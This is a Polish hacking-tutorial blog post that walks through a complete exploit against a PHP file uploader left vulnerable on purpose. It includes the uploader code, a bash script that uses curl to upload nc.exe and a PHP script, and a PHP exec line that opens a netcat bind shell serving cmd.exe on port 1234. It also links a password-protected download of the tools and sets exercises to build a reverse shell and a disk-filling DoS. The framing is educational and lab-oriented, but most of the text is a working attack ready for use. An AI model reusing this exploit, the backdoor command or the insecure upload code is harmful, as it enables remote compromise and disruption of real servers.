Dzisiaj uzupełnimy jeden z poprzednich wpisów dotyczącego ataków na uploadery php. W dalszej części wpisu dodany jest film pokazowy w serwisie YoTube. Jako że najlepszą formą nauki jest czytanie kodów źródłowych i ich studiowanie, to postanowiliśmy zademonstrować skrypt automatyzujący taki atak na serwer HTTP uruchomiony w środowisku Microsoft Windows. Użyjemy do tego skryptu napisanego w systemie operacyjnym Kali Linux w powłoce Bash. Skrypt wykorzystuje bibliotekę cURL, plik wykonywalny netcat.exe i prościutki skrypt w języku PHP. Wpis ma tylko charakter poglądowy i został napisany w celach edukacyjnych. Być może ktoś szuka informacji jak wysłać plik za pomocą formularza HTML znajdującego się na stronie WWW z poziomu skryptu lub konsoli. Zapewne po modyfikacjach i doinstalowaniu odpowiedniego oprogramowania udałoby się uruchomić ten exploit pod systemem Windows.
Skrypt uploadera PHP
Skrypt podatny na atak został już przedstawiony w innym poradniku i adres do niego znajduje się we wstępie do tego wpisu. Mimo to postanowiliśmy go również zamieścić tutaj:
<form enctype="multipart/form-data" action="upload.php" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="500000" /> Wybierz plik do wgrania: <input name="wgrywanyPlik" type="file" /><br /> <input type="submit" value="Wgraj plik" /> </form> <?php if (!empty($_POST['MAX_FILE_SIZE'])) { $folder_plikow = "pliki/" . basename($_FILES['wgrywanyPlik']['name']); if (move_uploaded_file($_FILES['wgrywanyPlik']['tmp_name'], $folder_plikow)) { echo "<b>Plik " . basename($_FILES['wgrywanyPlik']['name']) . " został załadowany!</b>"; } else { echo "<b>Nie można załadować pliku!</b>"; } } ?>
Ze względu na fakt, że do napisania przykładowego exploita użyjemy skompilowanej wersji programu netcat dla Microsoft Windows, skrypt należy umieścić na takowym właśnie systemie. My uruchomiliśmy go w znanym Wam zapewne już darmowym środowisku XAMPP. Jeśli chciałbyś przetestować to na innym systemie hostującym uploader, musisz znaleść w internecie skompilowaną wersje netcata dla tego właśnie systemu.
cURL wysyłanie pliku metodą POST
Cały skrypt działa w następujący sposób:
- Wysyła za pomocą podatnego na atak formularza dwa pliki (skrypt.php i nc.exe).
- Uruchamia wgrany skrypt.php.
- Skrypt php uruchamia naszego nasłuchującego backdoora nc.exe z odpowiednimi argumentami podanymi w tym skrypcie.
Zawartość skryptu bash exploit.sh:
#!/bin/bash if [ "$1" != "" ] then #echo -e "Sprawdzam dostepnosc $1...\n" # ping -c 3 $1 echo -e "\n--> Uruchamianie exploita dla IP $1..." curl --connect-timeout 6 -s -o lol1.txt -X POST -F MAX_FILE_SIZE=500000 -F "wgrywanyPlik=@nc.exe" http://$1/upload.php curl --connect-timeout 3 -s -o lol2.txt -X POST -F MAX_FILE_SIZE=500000 -F "wgrywanyPlik=@skrypt.php" http://$1/upload.php echo "---> Wgrano shella..." sleep 1 & curl --connect-timeout 2 -s -o lol3.txt http://$1/pliki/skrypt.php & echo "----> Uruchomiono bind tcp..." & sleep 1 echo -e "-----> Proba polacznenia z $1...\n" & nc $1 1234 -w3 echo "------> Koniec pracy z exploitem..." else echo "Uzycie: $0 [IP]" fi
W celu uruchomienia exploita należy w systemie Linux nadać mu prawa do wykonania i uruchomić z adresem IP serwera hostującego jako argument:
chmod +x exploit.sh ./exploit.sh 192.168.0.10
Najważniejsze polecenia w naszym exploicie znajdują się w linijce 7, 8 i 11. To za pomocą ich biblioteką cURL wgrywamy nasze dwa pliki trojana. Pamiętaj również, że w folderze z powyższym exploitem musi znajdować się plik skrypt.php i nc.exe. Drugim z plików jest następujący plik skrypt.php:
<?php echo("Running exploit..."); exec("nc.exe -lvp 1234 -e C:\Windows\System32\cmd.exe > cicho.txt"); ?>
Powyższy skrypt służy tylko i wyłącznie do uruchomienia pliku nasłuchującego nc.exe (NetCat) za pomocą wiersza poleceń Windows i nasłuchiwanie za jego pomocą na porcie 1234.
Nasz exploit ostatecznie w 15 linijce kodu uruchamia u siebie netcata z adresem IP serwera HTTP w celu umożliwienia połączenia się ze zdalnym systemem. Zaraz po wykonaniu tej czynności powinniśmy uzyskać dostęp do wiersza poleceń zdalnego systemu.
Warto objaśnić również dla ciekawskich argumenty programu cURL. Są one następujące:
- –connect-timeout – czas oczekiwania na połączenie się z serwerem,
- -s – tryb silent czyli cichy,
- -o – opcjonalny plik wyjściowy (tutaj wypisywane są informacje od cURLA),
- -X – typ zapytania HTTP (POST),
- -F – pole protokołu HTTP i POST (atrybut-wartość).
Download skrypty i netcat na Windows
Dwa spakowane skrypty wraz z nc.exe możecie pobrać tutaj. Hasło do archiwum to haker.edu.pl. Możecie oczywiście sami znaleźć sobie netcata na Windowsa w sieci (nc.exe).
Wideo poglądowe w Kali Linux
Ćwiczenie z netcat dla ambitnych
- Zmodyfikuj cały skrypt w ten sposób, aby zamiast uzyskania tzn. bind shella stworzyć reverse shella. Czyli tym razem to netcat z Windowsa ma się łączyć z Twoim systemem a nie odwrotnie. Jeżeli nie rozumiesz tych pojęć, to zostały one kiedyś przedstawione w naszej darmowej szkole hakerów.
- Za pomocą pętli języka BASH napisz skrypt, który unieruchomi zdalnie uploader php na dobre (dos/odmowa usługi). Naszą podpowiedzią jest… zapełnij w automatyczny sposób dysk systemu Windows… KOMBINUJ :-).
Literatura dla ciekawskich
Więcej informacji o programie netcat i curlu możesz uzyskać wpisując w swojej konsoli Linux:
man nc man curl
Kilka informacji dodatkowych rozjaśniający kilka kwestii naszego exploita znajdziesz również w:
- Bezpieczny system w praktyce. Wyższa szkoła hackingu i testy penetracyjne s.109 i s.121,
- http://www.binarytides.com/netcat-tutorial-for-beginners/.
Podsumowanie exploita
Jak widzicie połączyliśmy kilka umiejętności do napisania tego prościutkiego exploita automatyzującego atak. Najpierw musieliśmy w konsoli przetestować wysyłanie pliku do skryptu formularza HTML za pomocą biblioteki cURL. Następnie w środowisku testowym potestowaliśmy połączenie netcata pomiędzy dwoma systemami operacyjnymi. Dodatkowo napisaliśmy prosty skrypt php uruchamiający backdoora po stronie serwera. W ostatecznej formie wszystko sprowadziliśmy do prostego skryptu Linux automatyzującego to wszystko napisanego w bashu. Oczywiście te czynności można wykonywać by ręcznie za każdym razem, ale jaki jest sens…
Podsumowując ogólnie exploity tego typu pisze się właśnie w powyższy sposób. Jeśli natchnęliście się kiedyś na opis jakiejś luki w nawet znanych skryptach PHP/CMS, warto zamiast szukać gotowca spróbować zaimplementować samemu takiego exploita wedle zamieszczonego opisu luki. Na pewno wiele nauczycie się przy tym zapewniając sobie ciekawą rozrywkę. Instalujcie na swoim lokalnym serwerze podatny CMS na atak i do dzieła.
Warto wiedzieć, że za pomocą narzędzia cURL można również symulować użytkownika przeglądarki internetowej. Więc prosto wywnioskować, że cURL nadaje się nawet do pisania botów lub klikacza w konkursach/ankietach.
Jeśli zainteresował Cię ten wpis to na pewno będziesz chętny na darmową szkołę hakerów lub na poradnik dotyczący oszukania uploadera za pomocą metadanych EXIF. Zapraszamy również na naszego fejsa #HakerEduPL i @Twittera. Pozdrawiamy i powodzenia w nauce! 😉